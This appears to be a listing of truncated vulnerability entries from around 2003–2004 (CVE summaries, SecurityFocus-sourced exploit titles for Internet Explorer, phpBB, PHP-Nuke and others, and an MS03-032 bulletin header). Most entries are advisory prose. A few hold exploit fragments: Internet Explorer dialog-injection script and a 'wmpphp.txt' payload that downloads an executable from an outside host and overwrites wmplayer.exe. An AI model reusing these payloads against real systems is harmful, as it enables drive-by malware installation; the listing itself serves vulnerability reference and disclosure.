CVE-2003-1326

Microsoft Internet Explorer 5.5 and 6.0 are affected by CVE-2003-1326, which enables remote attackers to bypass cross-domain security and execute script or arbitrary code via dialog boxes. The issue centers on improper handling of dialog frames and the dialogArguments mechanism, enabling cross-do...

Newtelligence DasBlog 1.x - Request Log HTML Injection

Newtelligence DasBlog 1.x - Request Log HTML Injection source: https://www.securityfocus.com/bid/11086/info DasBlog is reportedly susceptible to an HTML injection vulnerability in its request log. This vulnerability is due to a failure of the application to properly sanitize user-supplied input...

GNU Info 4.7 - Follow XRef Buffer Overrun

GNU Info 4.7 - Follow XRef Buffer Overrun source: https://www.securityfocus.com/bid/10882/info GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the f follow xref Info...

Gallery 1.4.4 - Remote Server-Side Script Execution

Gallery 1.4.4 - Remote Server-Side Script Execution source: https://www.securityfocus.com/bid/10968/info A vulnerability is reported to exist in Gallery that may allow a remote attacker to execute malicious scripts on a vulnerable system. This issue is a design error that occurs due to the...

Microsoft Internet Explorer - Remote Wscript.Shell

----------------------------------------------------- default.htm ------------------------------------------------------- function InjectedDuringRedirection showModalDialog'md.htm',window,"dialogTop:-1000;dialogLeft:-1000;dialogHeight:1;dialogWidth:1;". location="vbscript:""";...

Microsoft Internet Explorer - Remote Application.Shell

function InjectedDuringRedirection showModalDialog'md.htm',window,"dialogTop:-10000;dialogLeft:-10000;dialogHeight:1; dialogWidth:1;".location="vbscript:"""; setTimeout"myiframe.execScriptInjectedDuringRedirection.toString",100; setTimeout"myiframe.execScript'InjectedDuringRedirection' ",101;...

PHP-Nuke 6.x7.x - Modpath File Inclusion

PHP-Nuke 6.x7.x - Modpath File Inclusion source: https://www.securityfocus.com/bid/10365/info PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issu...

Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service

source: https://www.securityfocus.com/bid/10351/info It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup' method to invoke the 'http-equiv' meta tag. This issue could be exploited by a remo...

Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service

Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service source: https://www.securityfocus.com/bid/10351/info It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup' method to...

phpBB 2.0.x - 'album_portal.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/10177/info It has been reported that phpBB may be prone to a file include vulnerability that may allow remote attackers to include a remote malicious script to be executed on a vulnerable system...

phpBB 2.0.x - album_portal.php Remote File Inclusion

phpBB 2.0.x - albumportal.php Remote File Inclusion source: https://www.securityfocus.com/bid/10177/info It has been reported that phpBB may be prone to a file include vulnerability that may allow remote attackers to include a remote malicious script to be executed on a vulnerable system...

CVE-2004-0192

Cross-site scripting XSS vulnerability in the Management Service for Symantec Gateway Security 2.0 allows remote attackers to steal cookies and hijack a management session via a /sgmi URL that contains malicious script, which is not quoted in the resulting error page...

CVE-2003-1551

Unspecified vulnerability in Novell GroupWise 6 SP3 WebAccess before Revision F has unknown impact and attack vectors related to "malicious script."...

Bitfolge Snif 1.2.6 - 'index.php' Path Cross-Site Scripting

source: https://www.securityfocus.com/bid/9179/info Bitfolge Snif is prone to a cross-site scripting vulnerability. As a result, hostile HTML and script code may be embedded in a malicious link to a site hosting the vulnerable software. If such a link is visited by a victim user, the...

Chi Kien Uong Guestbook 1.51 - Cross-Site Scripting

source: https://www.securityfocus.com/bid/8896/info It has been reported that Chi Kien Uong Guestbook may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The problem is reported to present itself due to...

Microsoft Internet Explorer 6 - Scrollbar-Base-Color Partial Denial of Service

Microsoft Internet Explorer 6 - Scrollbar-Base-Color Partial Denial of Service source: https://www.securityfocus.com/bid/8874/info It has been reported that Microsoft Internet Explorer is prone to a vulnerability that may allow an attacker to cause a denial of service condition in the software. T...

wmpphp.txt

var x = new ActiveXObject"Microsoft.XMLHTTP"; x.Open"GET", "http://mindlock.bestweb.net/random/ie.exe",0; x.Send; var s = new ActiveXObject"ADODB.Stream"; s.Mode = 3; s.Type = 1; s.Open; s.Writex.responseBody; s.SaveToFile"C:\Program Files\Windows Media Player\wmplayer.exe",2; location.href =...

phpBB 2.0.6 - URL BBCode HTML Injection

phpBB 2.0.6 - URL BBCode HTML Injection source: https://www.securityfocus.com/bid/8570/info phpBB BBCode has been reported prone to an HTML injection vulnerability. It has been reported that an attacker may inject malicious script into areas of phpBB where BBCode is rendered, for example, bulleti...

TSguestbook 2.1 - 'Message' HTML Injection

source: https://www.securityfocus.com/bid/8520/info It has been reported that TSguestbook may be prone to HTML injection attacks. The problem is said to occur due to insufficient sanitization of user-supplied input within the 'message' field. As a result, an attacker may post a guestbook entry...

Microsoft Security Bulletin MS03-032: Cumulative Patch for Internet Explorer (Q822925)

-----BEGIN PGP SIGNED MESSAGE----- - ----------------------------------------------------------------- Title: Cumulative Patch for Internet Explorer 822925 Date: 20 August 2003 Software: - Microsoft Internet Explorer 5.01 - Microsoft Internet Explorer 5.5 - Microsoft Internet Explorer 6.0 -...